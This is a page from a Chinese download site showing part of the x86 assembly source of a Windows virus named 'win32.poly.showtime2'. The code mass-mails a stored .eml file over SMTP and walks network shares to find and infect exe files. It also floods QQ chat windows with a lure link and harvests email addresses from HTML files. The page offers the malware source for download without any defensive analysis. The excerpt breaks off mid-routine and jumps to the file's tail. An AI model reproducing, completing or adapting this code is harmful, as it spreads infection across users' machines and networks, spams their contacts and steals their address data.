⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 win32.poly.showtime2.txt

📁 简 介: 1. 感染本地硬盘和网络上所有exe(GUI)文件  2. 搜索本地所有邮件地址
💻 TXT
📖 第 1 页 / 共 3 页
字号:
  push esi
call _send[ebx]

jmp Next
   
szRcpt db "RCPT TO: <%s>",0dh,0ah,0
Rcpt db 80 dup(0)
Next:
   push eMail
 lea ecx,[offset szRcpt+ebx]
 push ecx
 lea ecx,[offset Rcpt+ebx]
 push ecx
 call _wsprintf[ebx]
 add esp,0ch
 lea ecx,[offset Rcpt+ebx]
 push ecx
 call _lstrlen[ebx]
 push 0
 push eax
 lea ecx,[offset Rcpt+ebx]
 push ecx
 push esi
 call _send[ebx]

 push 0
 push 6
 call vData

db "DATA",0dh,0ah
vData:
   push esi
 call _send[ebx]
   push MAX_PATH
call szSysDir
SysDir db MAX_PATH dup(0)
szSysDir:
  call _GetSystemDirectory[ebx]
call szfile
db "\hello.eml",0
szfile :
    lea ecx,[offset SysDir+ebx]
push ecx
    call _lstrcat[ebx]

push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ
push GENERIC_READ OR GENERIC_WRITE
lea ecx,[offset SysDir+ebx]
push ecx
    
call _CreateFile[ebx]
mov hFile1[ebx],eax
cmp eax,INVALID_HANDLE_VALUE
jz SM_ret
    push NULL
push hFile1[ebx]
call _GetFileSize[ebx]
push esi  ;保存套接字
mov esi,eax
push PAGE_READWRITE
push MEM_COMMIT
push esi
    push NULL
call _VirtualAlloc[ebx]
mov edi,eax
    
push 0
lea ecx,[offset dwRead+ebx]
push ecx ;最终读出的字节数
push esi ;需要读出的字节数
push edi ;数据缓冲区
push hFile1[ebx]
call _ReadFile[ebx]
    pop esi ;恢复套接字
   mov ecx,DWORD ptr dwRead[ebx]
re2:
    

sub ecx,1000

jb ex
push ecx
push 0
push 1000
push edi
push esi ;套接字
call _send[ebx]
    
add edi,1000
pop ecx
jmp re2
ex:
   add ecx,1000
push 0
push ecx
push edi
push esi
call _send[ebx]

push 0
push 5

call szEndData
db 0dh,0ah, ".",0dh,0ah,0
szEndData:
    push esi
call _send[ebx]
push 4000
call _Sleep[ebx]


push 0
push 6

call szQuit
db "QUIT",0dh,0ah,0
szQuit:
   push esi
call _send[ebx]
   push 4000
call _Sleep[ebx]

SM_ret:
   push hFile1[ebx]
call _CloseHandle[ebx]

push esi
call _closesocket[ebx]

   call _WSACleanup[ebx]

popad
   ret
SendMail endp


myCallBack dd 0
EnumNetBoot proc ;列举网络Boot
  ;//开始列举网络资源
  pushad
  mov  ebp,NULL ;//列举网络, 从根开始
  mov  eax,RESOURCEUSAGE_CONTAINER
  lea ecx,[offset EnumNetWorkGroup+ebx]
mov DWORD ptr myCallBack[ebx],ecx
  call EnumNetObject  
  popad
  ret
EnumNetBoot endp

EnumNetWorkGroup proc ;//列举工作组
  ;ebp=父资源缓冲区
  push ecx
  mov  eax,RESOURCEUSAGE_CONTAINER
  lea ecx,[offset EnumNetComputer+ebx]
  mov DWORD ptr myCallBack[ebx],ecx

  call EnumNetObject
  pop  ecx
  ret
EnumNetWorkGroup endp

EnumNetComputer proc ;//列举网络计算机
  ;ebp=父资源缓冲区
  push ecx
  mov  eax,RESOURCEUSAGE_CONTAINER
  lea ecx,[offset EnumNetComputerShareDir+ebx]
  mov DWORD ptr myCallBack[ebx],ecx

  call EnumNetObject
  pop  ecx
  ret
EnumNetComputer endp

EnumNetComputerShareDir proc ;//列举网络计算机共享目录
  ;ebp=父资源缓冲区
  push ecx
  mov  eax,RESOURCEUSAGE_CONNECTABLE
  lea ecx,[offset DisplayMsg+ebx]
mov DWORD ptr myCallBack[ebx],ecx

  call EnumNetObject
  pop  ecx
  ret
EnumNetComputerShareDir endp

DisplayMsg proc  ;//显示列举出来的共享目录
  push ebp
  assume ebp:ptr NETRESOURCE
mov  eax,[ebp].lpRemoteName
  mov  edi,[ebp].lpProvider
  mov  ebp,[ebp].lpRemoteName
  call EnumFileObject
  pop  ebp
  ret
DisplayMsg endp 


;//用来列举局域网某种对象
EnumNetObject proc 
;//eax=资源标志 ,ebx=找到对象后自动回调函数指针, ebp=父资源缓冲区
  pushad
push eax
  push esp
push ebp
push eax
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call _WNetOpenEnumA[ebx]
  pop  esi   ;//弹出hEnum句柄,平衡堆栈
  or  eax,eax
  jnz  short EnumNetObjectError   
  
  sub  esp,100h
  mov  ebp,esp ;//在堆栈中开辟缓冲区 
LoopEnumNetObject:
mov eax,1
push eax
;//一次列举一个
  mov  eax,esp 
  push 100h   ;//缓冲区大小(edi=100h)
  push esp
push ebp
push eax
push esi
  call _WNetEnumResourceA[ebx]
  pop  edi
  pop  edi   ;//平衡堆栈
or  eax,eax
  jnz  short EnumNetObjectOver
  
call myCallBack[ebx]   ;//调用回调函数
  jmp  short LoopEnumNetObject
EnumNetObjectOver:
  push esi
call _WNetCloseEnum[ebx]
  add  esp,100h
EnumNetObjectError:
  popad
  ret
EnumNetObject endp

;//用来列举本地目录/网络上某个共享目录
EnumFileObject proc
;ebp=父目录的缓冲区
  pushad
  push ebp
call _SetCurrentDirectoryA[ebx]
  or  eax,eax
  jz  SetDirError
  mov  edi,100h 
  sub  esp,edi  ;//开辟200h字节的缓冲区
  mov  DWORD ptr [esp],2a2e2ah ;//建立"*.*"字符串
  mov  eax,esp
  push esp
push eax
call _FindFirstFile[ebx]
  mov  esi,eax
  inc  eax
  jz  short EnumFileObjectError   
LoopEnumFileObject:
  push esp
push esi
call _FindNextFile[ebx]
;invoke FindNextFileA,esi,esp
  or  eax,eax
  jz  short EnumFileObjectOver
  mov edi,esp
assume edi:ptr WIN32_FIND_DATA
lea  ebp,[edi].cFileName
  mov  eax,[edi].dwFileAttributes
  and  eax,10h ;//测试文件属性
  jz  short IsFileObject
IsDirObject:   ;//是一个目录
  mov  eax,DWORD ptr [ebp]
  cmp  al,"." ;//测试是否点目录,是就不处理
  jz  short LoopEnumFileObject
  call EnumFileObject ;//递归调用
  jmp  short LoopEnumFileObject
IsFileObject:  ;//是一个文件
  call FoundFileObject ;//整备该操作文件
  jmp  short LoopEnumFileObject
EnumFileObjectOver:
  push esi
call _CloseHandle[ebx]
EnumFileObjectError:
  mov  DWORD ptr [esp],2e2eh ;// 恢复原来的当前目录 建立字符串".."
  push esp
call _SetCurrentDirectoryA[ebx]
  add  esp,100h ;//平衡堆栈
SetDirError:
  popad
  ret
EnumFileObject endp

FoundFileObject proc
;//ebp=不带路径的文件名
  pushad 
  mov  edi,ebp
  xor  eax,eax
LoopFindExtName:
  inc  edi
  cmp  [edi],al
  jnz  LoopFindExtName
  mov  eax,DWORD ptr[edi-4]
  or  eax,20202020h
  cmp  eax,"exe."
  jnz  NotExeFile
  call szCurrentDirectory
CurrentDirectory db MAX_PATH dup (0)
szCurrentDirectory:
   push MAX_PATH
 call _GetCurrentDirectoryA[ebx]
 call szA
db "\",0
szA:
   lea ecx,[offset CurrentDirectory+ebx]
 push ecx
 call _lstrcat[ebx]
 push ebp
 push ecx
 call _lstrcat[ebx]
   push ecx
 call InfectFile

NotExeFile:
  popad
  ret
FoundFileObject endp
;************************************
;取得MPR.DLL里相关函数地址
;************************************

GetMprFunction proc
pushad
call szMpr
db "mpr.dll",0
szMpr:
   call _LoadLibraryA[ebx]
 mov edi,eax
   call szWNetOpenEnum
 db "WNetOpenEnumA",0
 _WNetOpenEnumA dd 0
szWNetOpenEnum:
   push edi
call _GetProcAddress[ebx]
mov DWORD ptr _WNetOpenEnumA[ebx],eax
   call szWNetEnumResourceA
db "WNetEnumResourceA",0
_WNetEnumResourceA dd 0
szWNetEnumResourceA:
    push edi
call _GetProcAddress[ebx]
mov DWORD ptr _WNetEnumResourceA[ebx],eax
   
call szWNetCloseEnum
db "WNetCloseEnum",0
_WNetCloseEnum dd 0
szWNetCloseEnum:
    push edi
 call _GetProcAddress[ebx]
 
 mov DWORD ptr _WNetCloseEnum[ebx],eax

   popad
ret
GetMprFunction endp
;***********************************
;处理发送QQ消息的线程
;***********************************

QQ_Thread proc uses ebx esi edi Param:DWORD 
  pushad
call szMutex
MutexName db "logincom",0
szMutex:
  push FALSE
push NULL
call _OpenMutex[ebx]
or eax,eax
jnz QQ_ret
  lea ecx,[offset MutexName+ebx]
push ecx
push FALSE
push NULL
call _CreateMutex[ebx]

;********************************
;发送QQ消息过程
;********************************


re4:
call szWincap
  db "发送消息",0
szSend db "送讯息(&S)",0
szMsg db "最感人的故事,最煽情的文章.一切尽在",0dh,0ah
    db "http://www.xxx.net/index.htm",0 
szClass db "RICHEDIT",0
QQSend dd 0
  hEdit dd 0
hSend dd 0
szWincap:
  push NULL
call _FindWindowA[ebx]
mov DWORD ptr QQSend[ebx],eax
or eax,eax
jz QQ_ret

push 0
  lea ecx,[offset szClass+ebx]
push ecx
push NULL
push QQSend[ebx]
call _FindWindowExA[ebx]
mov DWORD ptr hEdit[ebx],eax
  lea ecx,[offset szSend+ebx]
push ecx
push NULL
push NULL
push QQSend[ebx]
call _FindWindowExA[ebx]
  mov DWORD ptr hSend[ebx],eax
or eax,eax
jz QQ_ret
  lea ecx,[offset szMsg+ebx]
push ecx
push 0
push WM_SETTEXT
push hEdit[ebx]
call _SendMessageA[ebx]
push 0
push 0
push BM_CLICK
push hSend[ebx]
call _SendMessageA[ebx]
  push 2000
call _Sleep[ebx]
jmp re4

QQ_ret:
  popad
ret
QQ_Thread endp
;*****************************************
;分析MailFileName(*.htm*),寻找Mail_Addr. 
;pkxp的代码
;*****************************************
Parse_HTM PROC htmFileName :DWORD 

LOCAL hFile : DWORD 
LOCAL hMapping : DWORD 
LOCAL SafeFSize: DWORD 

pushad 
push 0 
push FILE_ATTRIBUTE_NORMAL 
push OPEN_EXISTING 
push 0 
push FILE_SHARE_READ 
push GENERIC_READ 
push htmFileName 
call _CreateFile[ebx] 
or eax,eax 
jz PH_Exit 
mov hFile , eax 

xor eax,eax 
push eax 
push eax 
push eax 
push PAGE_READONLY 
push eax 
push hFile 
call _CreateFileMapping[ebx] 
or eax,eax 
jz PH_Close 
mov hMapping,eax 

xor eax,eax 
push eax 
push eax 
push eax 
push FILE_MAP_READ 
push hMapping 
call _MapViewOfFile[ebx] 
or eax,eax 
jz PH_Close2 
xchg eax,esi ;esi = pMapping 

push 0 
push hFile 
call _GetFileSize[ebx]
sub eax,16 ;For security 
add eax,esi 
mov SafeFSize,eax ;esi必须小于SafeFSize 

.while esi < SafeFSize 
 push esi
 xor edx,edx ;Valid = FALSE 
 @pushsz "mailto:" 
 pop edi 
 push 7 ;"mailto:" 字符串长度
 pop ecx 
 repz cmpsb 
 .if zero? ;找到 mailto: 
   lea edi,[offset TempMailTo+ebx] 
   push edi 
   .while esi
sock sockaddr_in <0>

wfd WIN32_FIND_DATA <0> 
hProcess dd 0
_GetProcessAddress dd 0
hMem dd 0
E8_addr dd 0
VirusLen=$-offset VStart
VEnd:

End VStart 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -